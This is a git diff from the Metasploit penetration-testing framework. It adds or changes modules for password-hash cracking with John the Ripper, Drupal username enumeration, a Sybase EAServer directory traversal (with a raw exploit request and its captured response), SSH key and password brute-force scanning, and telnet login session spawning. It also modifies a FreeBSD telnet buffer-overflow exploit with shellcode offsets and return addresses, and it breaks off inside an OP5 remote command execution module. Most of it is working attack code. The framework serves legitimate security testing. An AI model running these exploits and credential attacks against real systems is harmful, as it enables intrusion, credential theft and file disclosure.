+ # + # ==== Parameters + # * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...." + # + def self.valid_ssh_public_key?(ssh_public_key) + ssh_type, encoded_key = ssh_public_key.split(" ") + type = SSH_TYPES.invert[ssh_type] + prefix = [0,0,0,7].pack("C*") + decoded = Base64.decode64(encoded_key) + + # Base64 decoding is too permissive, so we should validate if encoding is correct + return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key + return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "") + + unpacked = decoded.unpack("C*") + data = [] + index = 0 + until unpacked[index].nil? + datum_size = from_byte_array unpacked[index..index+4-1], 4 + index = index + 4 + datum = from_byte_array unpacked[index..index+datum_size-1], datum_size + data << datum + index = index + datum_size + end + + SSH_CONVERSION[type].size == data.size + rescue + false + end + + def self.from_byte_array(byte_array, expected_size = nil) + num = 0 + raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size + byte_array.reverse.each_with_index do |item, index| + num += item * 256**(index) + end + num + end + + # Create a new SSHKey object + # + # ==== Parameters + # * private_key - Existing RSA or DSA private key + # * options<~Hash> + # * :comment<~String> - Comment to use for the public key, defaults to "" + # * :passphrase<~String> - If the key is encrypted, supply the passphrase + # + def initialize(private_key, options = {}) + @passphrase = options[:passphrase] + @comment = options[:comment] || "" + begin + @key_object = OpenSSL::PKey::RSA.new(private_key, passphrase) + @type = "rsa" + rescue + @key_object = OpenSSL::PKey::DSA.new(private_key, passphrase) + @type = "dsa" + end + end + + # Fetch the RSA/DSA private key + # + # rsa_private_key and dsa_private_key are aliased for backward compatibility + def private_key + key_object.to_pem + end + alias_method :rsa_private_key, :private_key + alias_method :dsa_private_key, :private_key + + # Fetch the encrypted RSA/DSA private key using the passphrase provided + # + # If no passphrase is set, returns the unencrypted private key + def encrypted_private_key + return private_key unless passphrase + key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase) + end + + # Fetch the RSA/DSA public key + # + # rsa_public_key and dsa_public_key are aliased for backward compatibility + def public_key + key_object.public_key.to_pem + end + alias_method :rsa_public_key, :public_key + alias_method :dsa_public_key, :public_key + + # SSH public key + def ssh_public_key + [SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip + end + + # Fingerprints + # + # MD5 fingerprint for the given SSH public key + def md5_fingerprint + Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2') + end + alias_method :fingerprint, :md5_fingerprint + + # SHA1 fingerprint for the given SSH public key + def sha1_fingerprint + Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2') + end + + private + + # SSH Public Key Conversion + # + # All data type encoding is defined in the section #5 of RFC #4251. + # String and mpint (multiple precision integer) types are encoded this way: + # 4-bytes word: data length (unsigned big-endian 32 bits integer) + # n bytes: binary representation of the data + + # For instance, the "ssh-rsa" string is encoded as the following byte array + # [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a'] + def ssh_public_key_conversion + out = [0,0,0,7].pack("C*") + out += SSH_TYPES[type] + + SSH_CONVERSION[type].each do |method| + byte_array = to_byte_array(key_object.public_key.send(method).to_i) + out += encode_unsigned_int_32(byte_array.length).pack("c*") + out += byte_array.pack("C*") + end + + return out + end + + def encode_unsigned_int_32(value) + out = [] + out[0] = value >> 24 & 0xff + out[1] = value >> 16 & 0xff + out[2] = value >> 8 & 0xff + out[3] = value & 0xff + return out + end + + def to_byte_array(num) + result = [] + begin + result << (num & 0xff) + num >>= 8 + end until (num == 0 || num == -1) && (result.last[7] == num[7]) + result.reverse + end + +end diff --git a/lib/sshkey/lib/sshkey/version.rb b/lib/sshkey/lib/sshkey/version.rb new file mode 100644 index 0000000000..f049da0109 --- /dev/null +++ b/lib/sshkey/lib/sshkey/version.rb @@ -0,0 +1,3 @@ +class SSHKey + VERSION = "1.3.0" +end diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb new file mode 100644 index 0000000000..8b8ad8a239 --- /dev/null +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -0,0 +1,142 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +# +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::JohnTheRipper + + def initialize + super( + 'Name' => 'John the Ripper Linux Password Cracker', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module uses John the Ripper to identify weak passwords that have been + acquired from passwd files on AIX systems. + }, + 'Author' => + [ + 'TheLightCosine ', + 'hdm' + ] , + 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) + ) + + end + + def run + wordlist = Rex::Quickfile.new("jtrtmp") + + wordlist.write( build_seed().join("\n") + "\n" ) + wordlist.close + + hashlist = Rex::Quickfile.new("jtrtmp") + + myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) + unless myloots.nil? or myloots.empty? + myloots.each do |myloot| + begin + usf = File.open(myloot.path, "rb") + rescue Exception => e + print_error("Unable to read #{myloot.path} \n #{e}") + next + end + usf.each_line do |row| + row.gsub!(/\n/, ":#{myloot.host.address}\n") + hashlist.write(row) + end + end + hashlist.close + + print_status("HashList: #{hashlist.path}") + + print_status("Trying Format:des Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') + print_status("Trying Format:des Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'des') + print_status("Trying Format:des Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') + + cracked = john_show_passwords(hashlist.path) + + + print_status("#{cracked[:cracked]} hashes were cracked!") + + cracked[:users].each_pair do |k,v| + if v[0] == "NO PASSWORD" + passwd="" + else + passwd=v[0] + end + print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") + report_auth_info( + :host => v.last, + :port => 22, + :sname => 'ssh', + :user => k, + :pass => passwd + ) + end + end + + end + + def build_seed + + seed = [] + #Seed the wordlist with Database , Table, and Instance Names + schemas = myworkspace.notes.find(:all, :conditions => ['ntype like ?', '%.schema%']) + unless schemas.nil? or schemas.empty? + schemas.each do |anote| + anote.data.each do |key,value| + seed << key + value.each{|a| seed << a} + end + end + end + + instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) + unless instances.nil? or instances.empty? + instances.each do |anote| + seed << anote.data['InstanceName'] + end + end + + # Seed the wordlist with usernames, passwords, and hostnames + + myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name } + myworkspace.creds.each do |o| + seed << john_expand_word( o.user ) if o.user + seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/) + end + + # Grab any known passwords out of the john.pot file + john_cracked_passwords.values {|v| seed << v } + + #Grab the default John Wordlist + john = File.open(john_wordlist_path, "rb") + john.each_line{|line| seed << line.chomp} + + unless seed.empty? + seed.flatten! + seed.uniq! + end + + print_status("Wordlist Seeded with #{seed.length} words") + + return seed + + end + +end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index c851e7b90b..f517c05574 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -80,7 +80,11 @@ class Metasploit3 < Msf::Auxiliary if datastore['RECORD_GUEST'] report_ftp_creds(user,pass,@access) else - report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) + if @accepts_all_logins[@access] + report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) + else + report_ftp_creds(user,pass,@access) + end end end ret diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb new file mode 100644 index 0000000000..f4b3c242bd --- /dev/null +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -0,0 +1,116 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Drupal Views Module Users Enumeration', + 'Description' => %q{ + This module exploits an information disclosure vulnerability in the 'Views' + module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z' + }, + 'Author' => + [ + 'Justin Klein Keane', #Original Discovery + 'Robin François ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://www.madirish.net/node/465'], + ], + 'DisclosureDate' => 'Jul 2 2010' + )) + + register_options( + [ + OptString.new('URIPATH', [true, "Drupal Path", "/"]), + ], self.class) + end + + def check(base_uri) + res = send_request_cgi({ + 'uri' => base_uri, + 'method' => 'GET', + 'headers' => { 'Connection' => 'Close' } + }, 25) + + if not res + return false + elsif res.message != 'OK' or res.body != '[ ]' + return false + else + return true + end + end + + def run_host(ip) + # Make sure the URIPATH begins with '/' + if datastore['URIPATH'][0] != '/' + datastore['URIPATH'] = '/' + datastore['URIPATH'] + end + + # Make sure the URIPATH ends with / + if datastore['URIPATH'][-1] != '/' + datastore['URIPATH'] = datastore['URIPATH'] + '/' + end + + enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/" + + # Check if remote host is available or appears vulnerable + if not check(enum_uri) + print_error("#{ip} does not appear to be vulnerable, will not continue") + return + end + + print_status("Begin enumerating users at #{ip}") + + results = [] + ('a'..'z').each do |l| + vprint_status("Iterating on letter: #{l}") + + res = send_request_cgi({ + 'uri' => enum_uri+l, + 'method' => 'GET', + 'headers' => { 'Connection' => 'Close' } + }, 25) + + if (res and res.message == "OK") + user_list = res.body.scan(/\w+/) + if user_list.empty? + vprint_line("\tFound: Nothing") + else + vprint_line("\tFound: #{user_list.inspect}") + results << user_list + end + else + print_error("Unexpected results from server") + return + end + end + + final_results = results.flatten.uniq + + print_status("Done. " + final_results.length.to_s + " usernames found...") + + final_results.each do |user| + report_auth_info( + :host => Rex::Socket.getaddress(datastore['RHOST']), + :port => datastore['RPORT'], + :user => user, + :type => "drupal_user" + ) + end + end +end diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb new file mode 100644 index 0000000000..0905743841 --- /dev/null +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -0,0 +1,112 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sybase Easerver 6.3 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in Sybase + EAserver's Jetty webserver on port 8000. Code execution seems unlikely with + EAserver's default configuration unless the web server allows WRITE permission. + }, + 'References' => + [ + [ 'CVE', '2011-2474' ], + [ 'OSVDB', '72498' ], + [ 'URL', 'http://www.sybase.com/detail?id=1093216' ], + [ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ], + ], + 'Author' => + [ + 'Sow Ching Shiong', #Initial discovery (via iDefense) + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "May 25 2011" + )) + + register_options( + [ + Opt::RPORT(8000), + OptString.new("FILEPATH", [false, 'Specify a parameter for the action']) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + # No point to continue if no filename is specified + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? + print_error("Please supply the name of the file you want to download") + return + end + + print_status("Attempting to download: #{datastore['FILEPATH']}") + + # Create request + traversal = ".\\..\\.\\..\\.\\..\\.\\.." + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{traversal}\\#{datastore['FILEPATH']}" + }, 25) + + print_status("Server returns HTTP code: #{res.code.to_s}") + + # Show data if needed + if res and res.code == 200 + vprint_line(res.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'easerver.http', + 'application/octet-stream', + ip, + res.body, + fname + ) + print_status("File saved in: #{path}") + else + print_error("Nothing was downloaded") + end + end +end + +=begin +GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0 +User-Agent: DotDotPwn v2.1 <-- yup, awesome tool +Connection: close +Accept: */* +Host: 10.0.1.55:8000 + +HTTP/1.1 200 OK +Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT +Content-Length: 211 +Connection: close +Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509) + +[boot loader] +timeout=30 +default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS +[operating systems] +multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn + +$ nc 10.0.1.55 8000 +OPTIONS / HTTP/1.0 + +HTTP/1.1 405 Method Not Allowed +Allow: GET +Content-Length: 0 +Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509) +=end \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index 29f45b94ef..53046a559d 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary :sname => 'HTTP', :port => rport, :type => wdtype, - :data => 'enabled' + :data => datastore['PATH'] }) else diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb new file mode 100644 index 0000000000..38c8f0b423 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -0,0 +1,333 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'net/ssh' +require 'sshkey' # TODO: Actually include this! + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'SSH Public Key Acceptance Scanner', + 'Description' => %q{ + This module can determine what public keys are configured for + key-based authentication across a range of machines, users, and + sets of known keys. The SSH protocol indicates whether a particular + key is accepted prior to the client performing the actual signed + authentication request. To use this module, a text file containing + one or more SSH keys should be provided. These can be private or + public, so long as no passphrase is set on the private keys. + + If you have loaded a database plugin and connected to a database + this module will record authorized public keys and hosts so you can + track your process. + + + Key files may be a single public (unencrypted) key, or several public + keys concatenated together as an ASCII text file. Non-key data should be + silently ignored. Private keys will only utilize the public key component + stored within the key file. + }, + 'Author' => ['todb', 'hdm'], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(22), + OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.']) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]), + OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), + OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.']) + ] + ) + + deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') + + @good_credentials = {} + @good_key = '' + @strip_passwords = true + + end + + def key_dir + datastore['KEY_DIR'] + end + + def rport + datastore['RPORT'] + end + + def ip + datastore['RHOST'] + end + + def read_keyfile(file) + if file == :keyfile_b64 + keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first + elsif file.kind_of? Array + keyfile = '' + file.each do |dir_entry| + next unless ::File.readable? dir_entry + keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)} + end + else + keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)} + end + keys = [] + this_key = [] + in_key = false + keyfile.split("\n").each do |line| + if line =~ /ssh-(dss|rsa)\s+/ + keys << line + next + end + in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/) + this_key << line if in_key + if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/) + in_key = false + keys << (this_key.join("\n") + "\n") + this_key = [] + end + end + if keys.empty? + print_error "#{ip}:#{rport} SSH - No valid keys found" + end + return validate_keys(keys) + end + + # Validates that the key isn't total garbage, and converts PEM formatted + # keys to SSH formatted keys. + def validate_keys(keys) + keepers = [] + keys.each do |key| + if key =~ /ssh-(dss|rsa)/ + keepers << key + next + else # Use the mighty SSHKey library from James Miller to convert them on the fly. + ssh_version = SSHKey.new(key).ssh_public_key rescue nil + keepers << ssh_version if ssh_version + next + end + + # Needs a beginning + next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m + # Needs an end + next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m + # Shouldn't have binary. + next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty? + # Add more tests to taste. + keepers << key + end + if keepers.empty? + print_error "#{ip}:#{rport} SSH - No valid keys found" + end + return keepers.uniq + end + + def pull_cleartext_keys(keys) + cleartext_keys = [] + keys.each do |key| + next unless key + next if key =~ /Proc-Type:.*ENCRYPTED/ + this_key = key.gsub(/\x0d/,"") + next if cleartext_keys.include? this_key + cleartext_keys << this_key + end + if cleartext_keys.empty? + print_error "#{ip}:#{rport} SSH - No valid cleartext keys found" + end + return cleartext_keys + end + + def do_login(ip, port, user) + + if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) + keys = read_keyfile(datastore['KEY_FILE']) + @keyfile_path = datastore['KEY_FILE'].dup + cleartext_keys = pull_cleartext_keys(keys) + msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." + elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? + keys = read_keyfile(:keyfile_b64) + cleartext_keys = pull_cleartext_keys(keys) + msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." + elsif datastore['KEY_DIR'] + @keyfile_path = datastore['KEY_DIR'].dup + return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) + unless @key_files + @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} + end + these_keys = @key_files.map {|f| File.join(key_dir,f)} + keys = read_keyfile(these_keys) + cleartext_keys = pull_cleartext_keys(keys) + msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." + else + return :missing_keyfile + end + + unless @alerted_with_msg + print_status msg + @alerted_with_msg = true + end + + cleartext_keys.each_with_index do |key_data,key_idx| + key_info = "" + + if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/ + key_info = "- #{$3.strip}" + end + + + accepted = [] + opt_hash = { + :auth_methods => ['publickey'], + :msframework => framework, + :msfmodule => self, + :port => port, + :key_data => key_data, + :disable_agent => true, + :record_auth_info => true, + :skip_private_keys => true, + :accepted_key_callback => Proc.new {|key| accepted << key } + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh_socket = Net::SSH.start(ip, user, opt_hash) + + if datastore['SSH_BYPASS'] + data = nil + + print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...") + + begin + ::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s } + rescue ::Exception + end + + print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data + end + + ::Timeout.timeout(1) { ssh_socket.close } rescue nil + + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :connection_disconnect + rescue Net::SSH::AuthenticationFailed + rescue Net::SSH::Exception => e + return [:fail,nil] # For whatever reason. + end + + if accepted.length == 0 + if @key_files + vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}" + else + vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}" + end + end + + accepted.each do |key| + print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}" + do_report(ip, rport, user, key, key_data) + end + end + end + + def do_report(ip, port, user, key, key_data) + return unless framework.db.active + store_keyfile_b64_loot(ip,user,key[:fingerprint]) + cred_hash = { + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :pass => @keyfile_path, + :source_type => "user_supplied", + :type => 'ssh_pubkey', + :proof => "KEY=#{key[:fingerprint]}", + :duplicate_ok => true, + :active => true + } + this_cred = report_auth_info(cred_hash) + end + + # Checks if any existing privkeys matches the named key's + # key id. If so, assign that other key's cred.id to this + # one's proof section, and vice-versa. + def cross_check_privkeys(key_id) + return unless framework.db.active + other_cred = nil + framework.db.creds.each do |cred| + next unless cred.ptype == "ssh_key" + next unless cred.proof =~ /#{key_id}/ + other_cred = cred + break + end + return other_cred + end + + # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's + # good, then store it as loot for this user@host, unless we + # already have it in loot. + def store_keyfile_b64_loot(ip,user,key_id) + return unless db + return if @keyfile_path + return if datastore["SSH_KEYFILE_B64"].to_s.empty? + keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first + keyfile = keyfile.strip + "\n" + ktype_match = keyfile.match(/ssh-(rsa|dss)/) + return unless ktype_match + ktype = ktype_match[1].downcase + ktype = "dsa" if ktype == "dss" # Seems sensible to recast it + ltype = "host.unix.ssh.#{user}_#{ktype}_public" + # Assignment and comparison here, watch out! + if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id) + if loot.info.include? key_id + @keyfile_path = loot.path + end + end + @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id) + end + + def run_host(ip) + # Since SSH collects keys and tries them all on one authentication session, it doesn't + # make sense to iteratively go through all the keys individually. So, ignore the pass variable, + # and try all available keys for all users. + each_user_pass do |user,pass| + ret, proof = do_login(ip, rport, user) + case ret + when :connection_error + vprint_error "#{ip}:#{rport} - SSH - Could not connect" + :abort + when :connection_disconnect + vprint_error "#{ip}:#{rport} - SSH - Connection timed out" + :abort + when :fail + vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'" + when :missing_keyfile + vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile" + when :no_valid_keys + vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile" + end + end + end + +end + diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 4586d2d786..fa56dde84d 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -63,11 +63,12 @@ class Metasploit3 < Msf::Auxiliary def do_login(ip,user,pass,port) opt_hash = { - :auth_methods => ['password','keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => port, - :password => pass + :auth_methods => ['password','keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :password => pass } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 9ed2be9ee3..a609e98301 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary :msfmodule => self, :port => port, :key_data => key_data, + :disable_agent => true, :record_auth_info => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] @@ -247,8 +248,9 @@ class Metasploit3 < Msf::Auxiliary end def do_report(ip,user,port,proof) + return unless framework.db.active store_keyfile_b64_loot(ip,user,self.good_key) - report_auth_info( + cred_hash = { :host => ip, :port => datastore['RPORT'], :sname => 'ssh', @@ -257,7 +259,8 @@ class Metasploit3 < Msf::Auxiliary :type => "ssh_key", :proof => "KEY=#{self.good_key}, PROOF=#{proof}", :active => true - ) + } + this_cred = report_auth_info(cred_hash) end # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 1400ffa12a..90acbf691d 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -66,7 +66,8 @@ class Metasploit3 < Msf::Auxiliary begin each_user_pass do |user, pass| Timeout.timeout(overall_timeout) do - try_user_pass(user, pass) + res = try_user_pass(user, pass) + start_telnet_session(rhost,rport,user,pass) if res == :next_user end end rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error @@ -112,11 +113,7 @@ class Metasploit3 < Msf::Auxiliary end end report_telnet(user,pass,@trace) - else - if login_succeeded? - start_telnet_session(rhost,rport,user,pass) - return :next_user - end + return :next_user end end @@ -237,6 +234,7 @@ class Metasploit3 < Msf::Auxiliary end def start_telnet_session(host, port, user, pass) + print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 42055b84b9..58139ad0b9 100755 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -15,7 +15,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - + include Msf::Exploit::Remote::Telnet include Msf::Exploit::BruteTargets @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ - [ 'Automatic', { } ], + [ 'Automatic', { } ], [ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx [ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx [ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx @@ -63,10 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit_target(t) - + connect banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) - print_status(banner_sanitized) if datastore['VERBOSE'] + vprint_status(banner_sanitized) enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0" enc_keyid = "\xff\xfa\x26\x07" @@ -74,18 +74,18 @@ class Metasploit3 < Msf::Exploit::Remote # Telnet protocol requires 0xff to be escaped with another penc = payload.encoded.gsub("\xff", "\xff\xff") - + key_id = Rex::Text.rand_text_alphanumeric(400) - key_id[ 0, 2] = "\xeb\x76" + key_id[ 0, 2] = "\xeb\x76" key_id[72, 4] = [ t['Ret'] - 20 ].pack("V") - key_id[76, 4] = [ t['Ret'] ].pack("V") - + key_id[76, 4] = [ t['Ret'] ].pack("V") + # Some of these bytes can get mangled, jump over them key_id[80,112] = Rex::Text.rand_text_alphanumeric(112) - + # Bounce to the real payload (avoid corruption) key_id[120, 2] = "\xeb\x46" - + # The actual payload key_id[192, penc.length] = penc @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote # Initiate encryption sock.put(enc_init) - + # Wait for a successful response loop do data = sock.get_once(-1, 5) rescue nil @@ -106,8 +106,8 @@ class Metasploit3 < Msf::Exploit::Remote # The first request smashes the pointer print_status("Sending first payload") - sock.put(sploit) - + sock.put(sploit) + # Make sure the server replied to the first request data = sock.get_once(-1, 5) unless data @@ -117,13 +117,13 @@ class Metasploit3 < Msf::Exploit::Remote # Some delay between each request seems necessary in some cases ::IO.select(nil, nil, nil, 0.5) - + # The second request results in the pointer being called print_status("Sending second payload...") sock.put(sploit) - + handler - + ::IO.select(nil, nil, nil, 0.5) disconnect end diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb new file mode 100644 index 0000000000..1aab222ff1 --- /dev/null +++ b/modules/exploits/multi/http/op5_license.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OP5 license.php Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary root command execution vulnerability in the + OP5 Monitor license.php. Ekelöw has confirmed that OP5 Monitor versions 5.3.5, + 5.4.0, 5.4.2, 